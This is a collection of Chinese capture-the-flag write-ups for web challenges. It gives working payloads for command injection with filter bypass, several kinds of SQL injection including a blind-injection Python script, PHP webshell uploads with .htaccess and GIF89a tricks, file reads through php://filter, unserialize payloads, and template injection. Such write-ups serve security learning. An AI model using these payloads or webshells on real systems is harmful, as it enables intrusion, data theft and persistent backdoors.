[GXYCTF2019]Ping Ping Ping
输入ip=127.0.0.1后有回显
输入127.0.0.1|ls
发现存在两个文件,对flag.php进行访问,?ip=127.0.0.1|cat flag.php
空格被过滤掉了,尝试绕过空格的方法
/?ip=127.0.0.1|{cat,flag.php}
发现大括号被过滤了
/?ip=127.0.0.1|cat$IFS$9flag.php
flag也被过滤掉了
尝试访问另一个文件,index.php
/?ip=127.0.0.1|cat$IFS$9index.php
方法一:变量拼接字符串——将a的值覆盖,然后进行绕过
/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
啥也没有,查看源码,得到flag
方法二:内联执行
内联函数:将指定的函数体插入并取代每一处调用该函数的地方。
反引号在linux中作为内联执行,执行输出结果。也就是说
cat `ls` 执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php
构造payload /?ip=127.0.0.1;cat$IFS$9`ls`
方法三:sh命令来执行
使用 base64 编码的方式来绕过 flag 过滤。
加密命令
echo “cat flag.php” | base64
解密命令并执行
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
然后用$IFS$9
代替空格。
构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
[强网杯 2019]随便注
此题为单引号闭合
使用联合查询,出现报错
爆库名:1';show databases;#
爆表名:1'; show tables;#
爆列名1'; show columns from words;#
1'; show columns from `1919810931114514`;#
表名为数字时,要用反引号包起来查询。
出现flag字段,查询其内容时发现flag被过滤
思路:将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询,payload如下
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
在使用万能密码1'or 1=1#
得到flag
关键字过滤之等价函数替换
查询语句除了我们常用的“SELECT”语句以外还有HANDLER。并且在官方的说明中“HANDLER查询性能比SELECT更好”所以我们可以直接换个查询函数。
1'; handler `1919810931114514` open as flag; handler flag read next;#
[极客大挑战 2019]Secret File
查看源码,有一个./Archive room.php 对其进行查看
点击select
什么都没有
尝试抓包试试
发现有一个secr3t.php,尝试对其访问
这里提示flag放在了flag.php中,对其进行访问
没有发现flag,此时使用php的封装协议
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
使用base64解码得到flag
[极客大挑战 2019]LoveSQL
说明该题为单引号闭合,使用联合查询
判断回显位
1'union select 1,2,3#
爆数据库:1'union select 1,2,database()#
爆表名:1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='geek'#
爆列名:1'union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1'#
爆数据:1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
找到flag
[极客大挑战 2019]Http
查看源代码,有一个Secret.php,对其进行访问
说明页面得来自https://www.Sycsecret.***,添加referer即可
添加User-Agent:Syclover
添加X-Forwarded-For:127.0.0.1
[极客大挑战 2019]Knife
使用蚁剑进行连接
查看目录
查看根目录找到flag
拿到flag
[极客大挑战 2019]Upload
创建一个木马文件
<?php eval(@$_POST['password']);?>
上传文件
用burp suite抓包修改Content-Type
的内容为 image/jpeg
说明文件名后缀不能为php,尝试使用 phtml
文件 不能包含:" <? "
还要进行绕过
使用 script
标签 绕过“<?”
限制:<script language='php'>@eval($_POST['password']);</script>
这里还是不行 说上传的不图片
使用 GIF89a
图片头文件欺骗 php
会检测其为gif
图片
GIF89a
<script language="php">eval($_POST['password']);</script>
用蚁剑链接后找到flag
[ACTF2020 新生赛]Upload
有弹窗警告,前端做了过滤,关闭js弹窗
上传上一题用过地文件,上传成功,用蚁剑进行连接
找到flag
[极客大挑战 2019]BabySQL
该题为单引号闭合
使用联合查询 1'union select 1,2,3#
根据报错,可能union和select被过滤了,使用双写进行绕过 1' ununionion seselectlect 1,2,3#
回显位置是2和3,爆数据库 1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata)#
猜测flag在ctf中,爆表:1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf"#
爆列名: 1' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"#
爆数据:1' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)#
[极客大挑战 2019]PHP
提示有备份网站马,dirsearch进行扫描
通过扫描有www.zip文件,将其下载
在index.php中可以发现需要get传参select进行反序列化
通过对源码分析,当username=admin,password=100时可输出flag
进行序列化
还要绕过_wakeup函数,所以要修改参数的值
O:4:"Name":3:{s:14:"%00Name%00username%00";s:5:"admin";s:14:"%00Name%00password%00";i:100;}
[ACTF2020 新生赛]BackupFile
用dirsearch进行扫描,访问index.php.bak
通过key变量get传参,要求此变量必须是数字,且取整数之后值为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
取key的值为123
[RoarCTF 2019]Easy Calc
查看源码有一个calc.php,对其进行访问
$(“#content”).val()相当于 document.getElementById(“content”).value;
chr() 函数:从指定的 ASCII 值返回字符。 ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置0,而十六进制值被定义为带前置 0x。
file_get_contents() 函数:把整个文件读入一个字符串中。该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】。假如waf不允许num变量传递字母,可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
scandir() 函数:返回指定目录中的文件和目录的数组。
由于“/”被过滤了,所以我们可以使用chr(47)来进行表示,进行目录读取:calc.php? num=1;var_dump(scandir(chr(47)))
构造:/flagg——chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
payload:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
http走私攻击
[极客大挑战 2019]BuyFlag
查看源码,有一个pay.php对其进行访问
查看源码
以post方式传参,money=100000000,password满足等于404,但是不能为数字,所以password等于404+任意字符 ,用burpsuite抓包,右键修改方式为POST
修改cookie里的user=0
为user=1
提示字符串太长,使用科学计数法
得到flag
[BJDCTF2020]Easy MD5
查看源代码什么也没有
使用burp suite抓包
通过抓包发现为md5绕过,输入ffifdyop
查看源码
md5加密后的值开头为0e时他们的值相等
?a=s878926199a&b=s155964671a
这里用php数组绕过,由于哈希函数无法处理php数组,在遇到数组时返回false,我们就可以利用false==false成立使条件成立。
[HCTF 2018]admin
注册一个账号进行登录
点击修改密码,查看源码,有一个地址,对其进行访问
在app文件里找到routes.py
路由文件
用Admin注册,后台代码就会调用一次nodeprep.prepare
函数,把用户名转换成Admin
;修改一次密码,再次调用nodeprep.prepare
函数,使用户名由Admin
转换为admin
,重新登陆,就可以得到flag
[MRCTF2020]你传你🐎呢
上传一句话木马失败
上传图片马也失败了
使用前面的文件同样也不能绕过。此题需要上传两个文件,第一个:.hta***ess
文件,用来改变文件扩展名
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch><FilesMatch "1.png">
指定的是要上传的文件,注意文件名必须相同
先上传后缀名为1.png的一句话木马,在上传.hta***ess文件
抓包后进行修改content-type
上传成功之后就可以 用蚁剑进行连接,找到flag
[护网杯 2018]easy_tornado
进入flag.txt发现filename的值为fllllllllllllag
这个时第二个参数的值,将cookie_secret+filename的值md5加密后的值,整体再md5加密;然后把最后的值赋给filehash
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 ,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
模板注入:/error?msg={{handler.settings}}
这样就可以得到cookie_secret的值
filename的值md5加密后为3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret+md5(filename)的值为a1f8***fb-669f-4d73-a4ca-35c64f2c4b513bf9f6cf685a6dd8defadabfb41a03a1
构造payload:/file?filename=/fllllllllllllag&filehash=8f863852c040284e8579a680a34aaf57
[ZJCTF 2019]NiZhuanSiWei
这里注释里面有useless.php
访问该文件,发现什么都没有
代码审计:有这样一行代码isset($text)&&(file_get_contents($text,'r')==="wel***e to the zjctf",我们需要传入一个内容为wel***e to the zjctf的文件。这时就要用到data协议,data协议通常是用来执行PHP代码,也可以将内容写入data协议中,然后让file_get_contents函数取读取。构造:data://text/plain,wel***e to the zjctf,为了绕过某些过滤,这里用到base64编码。构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=。然后有一个可控参数file,构造file=useless.php,但是针对php文件我们需要进行base64编码,否则读取不到其内容,所以构造payload:file=php://filter/read=convert.base64-encode/resource=useless.php
提交?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
将以上内容进行base64解码获得源码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///***E ON PLZ");
}
}
}
?>
<?php
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///***E ON PLZ");
}
}
}
$password=new Flag();
$password = serialize($password);
echo $password;
?>
最后的payload为/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源码
[极客大挑战 2019]HardSQL
经测试,该题为单引号闭合
大小写,双写,and,=,空格等被过滤,使用报错注入
爆数据库:1'or(updatexml(1,concat(0x7e,(database()),0x7e),1))#
爆表名:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
爆列名:
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
爆数据:1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#
这里只爆出前面一部分flag,然后再使用right()函数拼接flag
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
[MRCTF2020]Ez_bypass
通过分析,要求md5($id) === md5($gg) && $id !== $gg
使用数组绕过,/?id[]=a&gg[]=b
post传参passwd=1234567a
[网鼎杯 2020 青龙组]AreUSerialz
通过源码可知,该题为反序列化
编写脚本
构造payload:?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
使用base64解码即可得到flag
[GXYCTF2019]BabyUpload
上传后缀为png的文件失败
先上传1.png的文件,进行抓包,修改content-type为image/jpeg
再上传.hta***ess的文件
上传成功后即可用蚁剑进行连接
[SUCTF 2019]CheckIn
发现后台使用了exif_imagetype这个函数进行检测文件,用GIF89a绕过
创建.user.ini文件构成php后门
创建图片马
用蚁剑连接
[GXYCTF2019]BabySQli
先尝试输入管理员账户admin
查看源码
使用base32和base64解码,解密后为:
select * from user where username = '$name'
尝试万能密码:username:admin' or '1'='1 password:123
输入别的用户名和密码显示的是传错了,说明存在admin账户
mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;
构造payload:'union select 1,'admin','670b14728ad9902aecba32e22fa4f6bd'#
[GYCTF2020]Blacklist
该题为单引号闭合,且一些关键字被过滤
使用堆叠注入
1’;show databases;#
1';show tables;#
1'; show columns from FlagHere;#
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
[CIS***2019 华北赛区 Day2 Web1]Hack World
该题提示flag在flag表里的flag字段,并且很多关键字都被过滤,使用盲注
import requests
import stringdef blind_injection(url):
flag = ''
strings = string.printable
for num in range(1,60):
for i in strings:
payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
post_data = {"id":payload}
res = requests.post(url=url,data=post_data)
if 'Hello' in res.text:
flag += i
print(flag)
else:
continue
print(flag)
if __name__ == '__main__':
url = 'http://64368c9f-dd87-4c49-b9a1-d4b82e98c87a.node3.buuoj.***/index.php'
blind_injection(url)
[网鼎杯 2018]Fakebook
先注册一个账号,username有链接,点击链接,url中有get传参no
尝试sql注入
?no=3 union/**/select 1,2,3,4#
回显点为2
使用联合查询,?no=3 union/**/select 1,(select table_name from information_schema.tables where table_schema=database()),3,4#
?no=3 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4#
?no=3 union/**/select 1,(select data from users where no=1),3,4#
通过扫描,存在flag.php的文件
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:123;s:4:"blog";s:22:"https://www.baidu.***/";}
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
base64解码即可得到flag